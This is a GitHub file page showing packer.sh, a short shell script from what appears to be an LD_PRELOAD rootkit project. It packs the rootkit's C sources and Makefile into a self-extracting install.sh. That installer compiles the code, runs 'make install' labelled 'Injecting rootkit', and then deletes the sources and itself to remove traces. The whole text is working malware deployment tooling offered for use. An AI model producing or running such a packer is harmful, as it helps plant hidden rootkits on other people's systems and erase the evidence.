-
Notifications
You must be signed in to change notification settings - Fork 32
Expand file tree
/
Copy pathpacker.sh
More file actions
executable file
·34 lines (26 loc) · 804 Bytes
/
packer.sh
File metadata and controls
executable file
·34 lines (26 loc) · 804 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/bin/sh
INSTALL_FILE=install.sh
FILES="bc.c config.h ld_poison.c Makefile"
echo "[-] Creating Installation File $INSTALL_FILE"
echo "#!/bin/sh" > $INSTALL_FILE
for FILE in $FILES
do
echo "[-] Packing $FILE"
echo "echo '[-] Extracting $FILE'" >> $INSTALL_FILE
echo "cat > ./$FILE << EOF" >> $INSTALL_FILE
cat $FILE >> $INSTALL_FILE
echo "EOF" >> $INSTALL_FILE
done
echo "[-] Packing Install Sequence"
echo "echo '[-] Compiling source code'" >> $INSTALL_FILE
echo "make all" >> $INSTALL_FILE
echo "echo '[-] Injecting rootkit'" >> $INSTALL_FILE
echo "make install" >> $INSTALL_FILE
echo "[-] Packing Cleanup Sequence"
for FILE in $FILES
do
echo "rm $FILE" >> $INSTALL_FILE
done
echo "rm $INSTALL_FILE" >> $INSTALL_FILE
chmod +x $INSTALL_FILE
echo "[-] Your Packer is ready: $INSTALL_FILE"